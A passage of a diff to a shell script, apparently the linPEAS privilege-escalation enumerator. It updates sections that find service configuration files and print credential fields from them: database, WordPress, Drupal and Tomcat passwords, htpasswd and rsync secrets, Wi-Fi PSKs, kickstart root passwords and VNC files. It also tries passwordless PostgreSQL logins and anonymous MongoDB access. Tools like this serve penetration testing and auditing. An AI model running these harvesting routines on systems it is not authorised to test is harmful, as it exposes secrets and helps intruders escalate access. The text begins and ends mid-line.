\"$PSTORAGE_POSTGRESQL\" | grep -E \"pg_hba\.conf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "pg_hba.conf"; fi; fi; printf "%s" "$PSTORAGE_POSTGRESQL" | grep -E "pg_hba\.conf$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,pg_hba\.conf$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -Ev "\W+\#|^#" | sed -${E} "s,auth|password|md5|user=|pass=|trust,${SED_RED},g"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_POSTGRESQL\" | grep -E \"postgresql\.conf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "postgresql.conf"; fi; fi; printf "%s" "$PSTORAGE_POSTGRESQL" | grep -E "postgresql\.conf$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,postgresql\.conf$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -Ev "\W+\#|^#" | sed -${E} "s,auth|password|md5|user=|pass=|trust,${SED_RED},g"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_POSTGRESQL\" | grep -E \"pgsql\.conf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "pgsql.conf"; fi; fi; printf "%s" "$PSTORAGE_POSTGRESQL" | grep -E "pgsql\.conf$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,pgsql\.conf$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -Ev "\W+\#|^#" | sed -${E} "s,auth|password|md5|user=|pass=|trust,${SED_RED},g"; done; echo ""; fi @@ -2523,7 +3198,7 @@ if [ "$TIMEOUT" ] && [ "$(command -v psql)" ] || [ "$DEBUG" ]; then # In some O fi print_list "PostgreSQL connection to template1 using postgres/NOPASS ........ " - if [ "$(timeout 1 psql -U postgres -d template1 -c 'select version()' 2>/dev/null)" ]; then echo "Yes" | sed "s,.)*,${SED_RED}," + if [ "$(timeout 1 psql -U postgres -d template1 -c 'select version()' 2>/dev/null)" ]; then echo "Yes" | sed "s,.*,${SED_RED}," else echo_no fi @@ -2542,127 +3217,132 @@ fi if [ "$PSTORAGE_MONGO" ] || [ "$DEBUG" ]; then print_2title "Analyzing Mongo Files (limit 70)" echo "Version: $(warn_exec mongo --version 2>/dev/null; warn_exec mongod --version 2>/dev/null)" - if ! [ "`echo \"$PSTORAGE_MONGO\" | grep -E \"mongod.*\.conf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "mongod*.conf"; fi; fi; printf "%s" "$PSTORAGE_MONGO" | grep -E "mongod.*\.conf$" | while read f; do ls -ld "$f" | sed -${E} "s,mongod.*\.conf$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -Ev "\W+\#|^#"; done; echo ""; + if [ "$(command -v mongo)" ]; then echo "show dbs" | mongo 127.0.0.1 > /dev/null 2>&1;[ "$?" == "0" ] && echo "Possible mongo anonymous authentication" | sed -${E} "s,.*|kube,${SED_RED},"; fi + if ! [ "`echo \"$PSTORAGE_MONGO\" | grep -E \"mongod.*\.conf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "mongod*.conf"; fi; fi; printf "%s" "$PSTORAGE_MONGO" | grep -E "mongod.*\.conf$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,mongod.*\.conf$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -Ev "\W+\#|^#"; done; echo ""; fi -if [ "$PSTORAGE_APACHE" ] || [ "$DEBUG" ]; then - print_2title "Analyzing Apache Files (limit 70)" - echo "Version: $(warn_exec apache2 -v 2>/dev/null; warn_exec httpd -v 2>/dev/null)" +if [ "$PSTORAGE_APACHE_NGINX" ] || [ "$DEBUG" ]; then + print_2title "Analyzing Apache-Nginx Files (limit 70)" + echo "Apache version: $(warn_exec apache2 -v 2>/dev/null; warn_exec httpd -v 2>/dev/null)" + echo "Nginx version: $(warn_exec nginx -v 2>/dev/null)" + if [ -d "/etc/apache2" ] && [ -r "/etc/apache2" ]; then grep -R -B1 "httpd-php" /etc/apache2 2>/dev/null; fi + if [ -d "/usr/share/nginx/modules" ] && [ -r "/usr/share/nginx/modules" ]; then print_3title 'Nginx modules'; ls /usr/share/nginx/modules | sed -${E} "s,$NGINX_KNOWN_MODULES,${SED_GREEN},g"; fi print_3title 'PHP exec extensions' - grep -R -B1 "httpd-php" /etc/apache2 2>/dev/null - if ! [ "`echo \"$PSTORAGE_APACHE\" | grep -E \"sites-enabled$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "sites-enabled"; fi; fi; printf "%s" "$PSTORAGE_APACHE" | grep -E "sites-enabled$" | while read f; do ls -ld "$f" | sed -${E} "s,sites-enabled$,${SED_RED},"; find "$f" -name "*" | while read ff; do ls -ld "$ff" | sed -${E} "s,.*,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | grep -E "AuthType|AuthName|AuthUserFile|ServerName|ServerAlias" | grep -Ev "#" | sed -${E} "s,AuthType|AuthName|AuthUserFile|ServerName|ServerAlias,${SED_RED},g"; done; echo "";done; echo ""; - if ! [ "`echo \"$PSTORAGE_APACHE\" | grep -E \"000-default\.conf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "000-default.conf"; fi; fi; printf "%s" "$PSTORAGE_APACHE" | grep -E "000-default\.conf$" | while read f; do ls -ld "$f" | sed -${E} "s,000-default\.conf$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,AuthType|AuthName|AuthUserFile|ServerName|ServerAlias,${SED_RED},g"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_APACHE\" | grep -E \"php\.ini$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "php.ini"; fi; fi; printf "%s" "$PSTORAGE_APACHE" | grep -E "php\.ini$" | while read f; do ls -ld "$f" | sed -${E} "s,php\.ini$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -E allow_ | grep -Ev "^;" | sed -${E} "s,On,${SED_RED},g"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_APACHE_NGINX\" | grep -E \"sites-enabled$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "sites-enabled"; fi; fi; printf "%s" "$PSTORAGE_APACHE_NGINX" | grep -E "sites-enabled$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,sites-enabled$,${SED_RED},"; find "$f" -name "*" | while read ff; do ls -ld "$ff" | sed -${E} "s,.*,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | grep -Ev "#" | sed -${E} "s,AuthType|AuthName|AuthUserFile|ServerName|ServerAlias|command on,${SED_RED},g"; done; echo "";done; echo ""; + if ! [ "`echo \"$PSTORAGE_APACHE_NGINX\" | grep -E \"000-default\.conf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "000-default.conf"; fi; fi; printf "%s" "$PSTORAGE_APACHE_NGINX" | grep -E "000-default\.conf$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,000-default\.conf$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -Ev "#" | sed -${E} "s,AuthType|AuthName|AuthUserFile|ServerName|ServerAlias,${SED_RED},g"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_APACHE_NGINX\" | grep -E \"php\.ini$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "php.ini"; fi; fi; printf "%s" "$PSTORAGE_APACHE_NGINX" | grep -E "php\.ini$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,php\.ini$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -E allow_ | grep -Ev "^;" | sed -${E} "s,On,${SED_RED},g"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_APACHE_NGINX\" | grep -E \"nginx\.conf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "nginx.conf"; fi; fi; printf "%s" "$PSTORAGE_APACHE_NGINX" | grep -E "nginx\.conf$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,nginx\.conf$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -Ev "#" | sed -${E} "s,location.*.php$|$uri|$document_uri|proxy_intercept_errors.*on|proxy_hide_header.*|merge_slashes.*on|resolver.*|proxy_pass|internal|location.+[a-zA-Z0-9][^/]\s+\{|map|proxy_set_header.*Upgrade.*http_upgrade|proxy_set_header.*Connection.*http_connection,${SED_RED},g"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_APACHE_NGINX\" | grep -E \"nginx$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "nginx"; fi; fi; printf "%s" "$PSTORAGE_APACHE_NGINX" | grep -E "nginx$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,nginx$,${SED_RED},"; find "$f" -name "*.conf" | while read ff; do ls -ld "$ff" | sed -${E} "s,.conf,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | grep -Ev "#" | sed -${E} "s,location.*.php$|$uri|$document_uri|proxy_intercept_errors.*on|proxy_hide_header.*|merge_slashes.*on|resolver.*|proxy_pass|internal|location.+[a-zA-Z0-9][^/]\s+\{|map|proxy_set_header.*Upgrade.*http_upgrade|proxy_set_header.*Connection.*http_connection,${SED_RED},g"; done; echo "";done; echo ""; fi if [ "$PSTORAGE_TOMCAT" ] || [ "$DEBUG" ]; then print_2title "Analyzing Tomcat Files (limit 70)" - if ! [ "`echo \"$PSTORAGE_TOMCAT\" | grep -E \"tomcat-users\.xml$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "tomcat-users.xml"; fi; fi; printf "%s" "$PSTORAGE_TOMCAT" | grep -E "tomcat-users\.xml$" | while read f; do ls -ld "$f" | sed -${E} "s,tomcat-users\.xml$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -E "username=|password=" | sed -${E} "s,dbtype|dbhost|dbuser|dbhost|dbpass|dbport,${SED_RED},g"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_TOMCAT\" | grep -E \"tomcat-users\.xml$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "tomcat-users.xml"; fi; fi; printf "%s" "$PSTORAGE_TOMCAT" | grep -E "tomcat-users\.xml$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,tomcat-users\.xml$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -E "username=|password=" | sed -${E} "s,dbtype|dbhost|dbuser|dbhost|dbpass|dbport,${SED_RED},g"; done; echo ""; fi if [ "$PSTORAGE_FASTCGI" ] || [ "$DEBUG" ]; then print_2title "Analyzing FastCGI Files (limit 70)" - if ! [ "`echo \"$PSTORAGE_FASTCGI\" | grep -E \"fastcgi_params$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "fastcgi_params"; fi; fi; printf "%s" "$PSTORAGE_FASTCGI" | grep -E "fastcgi_params$" | while read f; do ls -ld "$f" | sed -${E} "s,fastcgi_params$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -E "DB_NAME|DB_USER|DB_PASS" | sed -${E} "s,DB_NAME|DB_USER|DB_PASS,${SED_RED},g"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_FASTCGI\" | grep -E \"fastcgi_params$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "fastcgi_params"; fi; fi; printf "%s" "$PSTORAGE_FASTCGI" | grep -E "fastcgi_params$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,fastcgi_params$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -E "DB_NAME|DB_USER|DB_PASS" | sed -${E} "s,DB_NAME|DB_USER|DB_PASS,${SED_RED},g"; done; echo ""; fi if [ "$PSTORAGE_HTTP_CONF" ] || [ "$DEBUG" ]; then print_2title "Analyzing Http conf Files (limit 70)" - if ! [ "`echo \"$PSTORAGE_HTTP_CONF\" | grep -E \"httpd\.conf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "httpd.conf"; fi; fi; printf "%s" "$PSTORAGE_HTTP_CONF" | grep -E "httpd\.conf$" | while read f; do ls -ld "$f" | sed -${E} "s,httpd\.conf$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -E "htaccess.*|htpasswd.*" | grep -Ev "\W+\#|^#" | sed -${E} "s,htaccess.*|htpasswd.*,${SED_RED},g"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_HTTP_CONF\" | grep -E \"httpd\.conf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "httpd.conf"; fi; fi; printf "%s" "$PSTORAGE_HTTP_CONF" | grep -E "httpd\.conf$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,httpd\.conf$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -E "htaccess.*|htpasswd.*" | grep -Ev "\W+\#|^#" | sed -${E} "s,htaccess.*|htpasswd.*,${SED_RED},g"; done; echo ""; fi if [ "$PSTORAGE_HTPASSWD" ] || [ "$DEBUG" ]; then print_2title "Analyzing Htpasswd Files (limit 70)" - if ! [ "`echo \"$PSTORAGE_HTPASSWD\" | grep -E \"\.htpasswd$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found ".htpasswd"; fi; fi; printf "%s" "$PSTORAGE_HTPASSWD" | grep -E "\.htpasswd$" | while read f; do ls -ld "$f" | sed -${E} "s,\.htpasswd$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -Ev "^#" | sed -${E} "s,.*,${SED_RED},g"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_HTPASSWD\" | grep -E \"\.htpasswd$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found ".htpasswd"; fi; fi; printf "%s" "$PSTORAGE_HTPASSWD" | grep -E "\.htpasswd$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.htpasswd$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -Ev "^#" | sed -${E} "s,.*,${SED_RED},g"; done; echo ""; fi if [ "$PSTORAGE_PHP_SESSIONS" ] || [ "$DEBUG" ]; then print_2title "Analyzing PHP Sessions Files (limit 70)" ls /var/lib/php/sessions 2>/dev/null || echo_not_found /var/lib/php/sessions - if ! [ "`echo \"$PSTORAGE_PHP_SESSIONS\" | grep -E \"sess_.*$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "sess_*"; fi; fi; printf "%s" "$PSTORAGE_PHP_SESSIONS" | grep -E "sess_.*$" | while read f; do ls -ld "$f" | sed -${E} "s,sess_.*$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_PHP_SESSIONS\" | grep -E \"sess_.*$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "sess_*"; fi; fi; printf "%s" "$PSTORAGE_PHP_SESSIONS" | grep -E "sess_.*$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,sess_.*$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$"; done; echo ""; fi if [ "$PSTORAGE_WORDPRESS" ] || [ "$DEBUG" ]; then print_2title "Analyzing Wordpress Files (limit 70)" - if ! [ "`echo \"$PSTORAGE_WORDPRESS\" | grep -E \"wp-config\.php$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "wp-config.php"; fi; fi; printf "%s" "$PSTORAGE_WORDPRESS" | grep -E "wp-config\.php$" | while read f; do ls -ld "$f" | sed -${E} "s,wp-config\.php$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -E "PASSWORD|USER|NAME|HOST" | sed -${E} "s,PASSWORD|USER|NAME|HOST,${SED_RED},g"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_WORDPRESS\" | grep -E \"wp-config\.php$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "wp-config.php"; fi; fi; printf "%s" "$PSTORAGE_WORDPRESS" | grep -E "wp-config\.php$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,wp-config\.php$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -E "PASSWORD|USER|NAME|HOST" | sed -${E} "s,PASSWORD|USER|NAME|HOST,${SED_RED},g"; done; echo ""; fi if [ "$PSTORAGE_DRUPAL" ] || [ "$DEBUG" ]; then print_2title "Analyzing Drupal Files (limit 70)" - if ! [ "`echo \"$PSTORAGE_DRUPAL\" | grep -E \"settings\.php$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "settings.php"; fi; fi; printf "%s" "$PSTORAGE_DRUPAL" | grep -E "settings\.php$" | while read f; do ls -ld "$f" | sed -${E} "s,settings\.php$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -E "drupal_hash_salt|'database'|'username'|'password'|'host'|'port'|'driver'|'prefix'" | sed -${E} "s,drupal_hash_salt|'database'|'username'|'password'|'host'|'port'|'driver'|'prefix',${SED_RED},g"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_DRUPAL\" | grep -E \"settings\.php$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "settings.php"; fi; fi; printf "%s" "$PSTORAGE_DRUPAL" | grep -E "settings\.php$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,settings\.php$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -E "drupal_hash_salt|'database'|'username'|'password'|'host'|'port'|'driver'|'prefix'" | sed -${E} "s,drupal_hash_salt|'database'|'username'|'password'|'host'|'port'|'driver'|'prefix',${SED_RED},g"; done; echo ""; fi if [ "$PSTORAGE_MOODLE" ] || [ "$DEBUG" ]; then print_2title "Analyzing Moodle Files (limit 70)" - if ! [ "`echo \"$PSTORAGE_MOODLE\" | grep -E \"config\.php$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "config.php"; fi; fi; printf "%s" "$PSTORAGE_MOODLE" | grep -E "config\.php$" | while read f; do ls -ld "$f" | sed -${E} "s,config\.php$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -E "dbtype|dbhost|dbuser|dbhost|dbpass|dbport" | sed -${E} "s,dbtype|dbhost|dbuser|dbhost|dbpass|dbport,${SED_RED},g"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_MOODLE\" | grep -E \"config\.php$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "config.php"; fi; fi; printf "%s" "$PSTORAGE_MOODLE" | grep -E "config\.php$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,config\.php$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -E "dbtype|dbhost|dbuser|dbhost|dbpass|dbport" | sed -${E} "s,dbtype|dbhost|dbuser|dbhost|dbpass|dbport,${SED_RED},g"; done; echo ""; fi if [ "$PSTORAGE_SUPERVISORD" ] || [ "$DEBUG" ]; then print_2title "Analyzing Supervisord Files (limit 70)" - if ! [ "`echo \"$PSTORAGE_SUPERVISORD\" | grep -E \"supervisord\.conf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "supervisord.conf"; fi; fi; printf "%s" "$PSTORAGE_SUPERVISORD" | grep -E "supervisord\.conf$" | while read f; do ls -ld "$f" | sed -${E} "s,supervisord\.conf$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -E "port.*=|username.*=|password.*=" | sed -${E} "s,port.*=|username.*=|password.*=,${SED_RED},g"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_SUPERVISORD\" | grep -E \"supervisord\.conf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "supervisord.conf"; fi; fi; printf "%s" "$PSTORAGE_SUPERVISORD" | grep -E "supervisord\.conf$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,supervisord\.conf$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -E "port.*=|username.*=|password.*=" | sed -${E} "s,port.*=|username.*=|password.*=,${SED_RED},g"; done; echo ""; fi if [ "$PSTORAGE_CESI" ] || [ "$DEBUG" ]; then print_2title "Analyzing Cesi Files (limit 70)" - if ! [ "`echo \"$PSTORAGE_CESI\" | grep -E \"cesi\.conf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "cesi.conf"; fi; fi; printf "%s" "$PSTORAGE_CESI" | grep -E "cesi\.conf$" | while read f; do ls -ld "$f" | sed -${E} "s,cesi\.conf$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -E "username.*=|password.*=|host.*=|port.*=|database.*=" | sed -${E} "s,username.*=|password.*=|host.*=|port.*=|database.*=,${SED_RED},g"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_CESI\" | grep -E \"cesi\.conf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "cesi.conf"; fi; fi; printf "%s" "$PSTORAGE_CESI" | grep -E "cesi\.conf$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,cesi\.conf$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -E "username.*=|password.*=|host.*=|port.*=|database.*=" | sed -${E} "s,username.*=|password.*=|host.*=|port.*=|database.*=,${SED_RED},g"; done; echo ""; fi if [ "$PSTORAGE_RSYNC" ] || [ "$DEBUG" ]; then print_2title "Analyzing Rsync Files (limit 70)" - if ! [ "`echo \"$PSTORAGE_RSYNC\" | grep -E \"rsyncd\.conf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "rsyncd.conf"; fi; fi; printf "%s" "$PSTORAGE_RSYNC" | grep -E "rsyncd\.conf$" | while read f; do ls -ld "$f" | sed -${E} "s,rsyncd\.conf$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -Ev "\W+\#|^#" | sed -${E} "s,secrets.*|auth.*users.*=,${SED_RED},g"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_RSYNC\" | grep -E \"rsyncd\.secrets$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "rsyncd.secrets"; fi; fi; printf "%s" "$PSTORAGE_RSYNC" | grep -E "rsyncd\.secrets$" | while read f; do ls -ld "$f" | sed -${E} "s,rsyncd\.secrets$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,.*,${SED_RED},g"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_RSYNC\" | grep -E \"rsyncd\.conf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "rsyncd.conf"; fi; fi; printf "%s" "$PSTORAGE_RSYNC" | grep -E "rsyncd\.conf$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,rsyncd\.conf$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -Ev "\W+\#|^#" | sed -${E} "s,secrets.*|auth.*users.*=,${SED_RED},g"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_RSYNC\" | grep -E \"rsyncd\.secrets$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "rsyncd.secrets"; fi; fi; printf "%s" "$PSTORAGE_RSYNC" | grep -E "rsyncd\.secrets$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,rsyncd\.secrets$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,.*,${SED_RED},g"; done; echo ""; fi if [ "$PSTORAGE_HOSTAPD" ] || [ "$DEBUG" ]; then print_2title "Analyzing Hostapd Files (limit 70)" - if ! [ "`echo \"$PSTORAGE_HOSTAPD\" | grep -E \"hostapd\.conf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "hostapd.conf"; fi; fi; printf "%s" "$PSTORAGE_HOSTAPD" | grep -E "hostapd\.conf$" | while read f; do ls -ld "$f" | sed -${E} "s,hostapd\.conf$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -Ev "^#" | sed -${E} "s,passphrase.*,${SED_RED},g"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_HOSTAPD\" | grep -E \"hostapd\.conf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "hostapd.conf"; fi; fi; printf "%s" "$PSTORAGE_HOSTAPD" | grep -E "hostapd\.conf$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,hostapd\.conf$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -Ev "^#" | sed -${E} "s,passphrase.*,${SED_RED},g"; done; echo ""; fi if [ "$PSTORAGE_WIFI_CONNECTIONS" ] || [ "$DEBUG" ]; then print_2title "Analyzing Wifi Connections Files (limit 70)" - if ! [ "`echo \"$PSTORAGE_WIFI_CONNECTIONS\" | grep -E \"system-connections$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "system-connections"; fi; fi; printf "%s" "$PSTORAGE_WIFI_CONNECTIONS" | grep -E "system-connections$" | while read f; do ls -ld "$f" | sed -${E} "s,system-connections$,${SED_RED},"; find "$f" -name "*" | while read ff; do ls -ld "$ff" | sed -${E} "s,.*,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | grep -E "psk.*" | sed -${E} "s,psk.*,${SED_RED},g"; done; echo "";done; echo ""; + if ! [ "`echo \"$PSTORAGE_WIFI_CONNECTIONS\" | grep -E \"system-connections$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "system-connections"; fi; fi; printf "%s" "$PSTORAGE_WIFI_CONNECTIONS" | grep -E "system-connections$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,system-connections$,${SED_RED},"; find "$f" -name "*" | while read ff; do ls -ld "$ff" | sed -${E} "s,.*,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | grep -E "psk.*" | sed -${E} "s,psk.*,${SED_RED},g"; done; echo "";done; echo ""; fi if [ "$PSTORAGE_ANACONDA_KS" ] || [ "$DEBUG" ]; then print_2title "Analyzing Anaconda ks Files (limit 70)" - if ! [ "`echo \"$PSTORAGE_ANACONDA_KS\" | grep -E \"anaconda-ks\.cfg$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "anaconda-ks.cfg"; fi; fi; printf "%s" "$PSTORAGE_ANACONDA_KS" | grep -E "anaconda-ks\.cfg$" | while read f; do ls -ld "$f" | sed -${E} "s,anaconda-ks\.cfg$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -E "rootpw.*" | sed -${E} "s,rootpw.*,${SED_RED},g"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_ANACONDA_KS\" | grep -E \"anaconda-ks\.cfg$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "anaconda-ks.cfg"; fi; fi; printf "%s" "$PSTORAGE_ANACONDA_KS" | grep -E "anaconda-ks\.cfg$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,anaconda-ks\.cfg$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -E "rootpw.*" | sed -${E} "s,rootpw.*,${SED_RED},g"; done; echo ""; fi if [ "$PSTORAGE_VNC" ] || [ "$DEBUG" ]; then print_2title "Analyzing VNC Files (limit 70)" - if ! [ "`echo \"$PSTORAGE_VNC\" | grep -E \"\.vnc$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found ".vnc"; fi; fi; printf "%s" "$PSTORAGE_VNC" | grep -E "\.vnc$" | while read f; do ls -ld "$f" | sed -${E} "s,\.vnc$,${SED_RED},"; find "$f" -name "passwd" | while read ff; do ls -ld "$ff" | sed -${E} "s,passwd,${SED_RED},"; done; echo "";done; echo ""; - if ! [ "`echo \"$PSTORAGE_VNC\" | grep -E \"vnc.*\.c.*nf.*$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "*vnc*.c*nf*"; fi; fi; printf "%s" "$PSTORAGE_VNC" | grep -E "vnc.*\.c.*nf.*$" | while read f; do ls -ld "$f" | sed -${E} "s,vnc.*\.c.*nf.*$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,.*,${SED_RED},g"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_VNC\" | grep -E \"vnc.*\.ini$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "*vnc*.ini"; fi; fi; printf "%s" "$PSTORAGE_VNC" | grep -E "vnc.*\.ini$" | while read f; do ls -ld "$f" | sed -${E} "s,vnc.*\.ini$,${SED_RED},"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_VNC\" | grep -E \"vnc.*\.txt$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "*vnc*.txt"; fi; fi; printf "%s" "$PSTORAGE_VNC" | grep -E "vnc.*\.txt$" | while read f; do ls -ld "$f" | sed -${E} "s,vnc.*\.txt$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,.*,${SED_RED},g"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_VNC\" | grep -E \"vnc.*\.xml$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "*vnc*.xml"; fi; fi; printf "%s" "$PSTORAGE_VNC" | grep -E "vnc.*\.xml$" | while read f; do ls -ld "$f" | sed -${E} "s,vnc.*\.xml$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,.*,${SED_RED},g"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_VNC\" | grep -E \"\.vnc$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found ".vnc"; fi; fi; printf "%s" "$PSTORAGE_VNC" | grep -E "\.vnc$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.vnc$,${SED_RED},"; find "$f" -name "passwd" | while read ff; do ls -ld "$ff" | sed -${E} 